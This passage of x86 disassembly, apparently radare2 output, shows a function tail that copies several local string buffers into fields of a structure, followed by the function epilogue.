call fcn.0041fc67
mov esi, dword [ebp + 0xc]
inc eax
push eax
lea eax, [ebp - 0x30]
push eax
lea ecx, [esi + 0xac]
push ecx
call fcn.0041fa87
lea edx, [ebp - 0x20]
push edx
call fcn.0041fc67
inc eax
push eax
lea eax, [ebp - 0x20]
push eax
lea ecx, [esi + 0xbc]
push ecx
call fcn.0041fa87
lea edx, [ebp - 0x10]
push edx
call fcn.0041fc67
inc eax
push eax
lea eax, [ebp - 0x10]
push eax
lea ecx, [esi + 0xcc]
push ecx
call fcn.0041fa87
lea edx, [ebp - 0xb0]
add esp, 0x48
push edx
call fcn.0041fc67
inc eax
push eax
lea eax, [ebp - 0xb0]
push eax
lea ecx, [esi + 0x1dc]
push ecx
call fcn.0041fa87
lea edx, [ebp - 0x130]
push edx
call fcn.0041fc67
inc eax
push eax
lea eax, [ebp - 0x130]
push eax
add esi, 0x25c
push esi
call fcn.0041fa87
add esp, 0x20
pop esi
pop ebx
mov esp, ebp
pop ebp
ret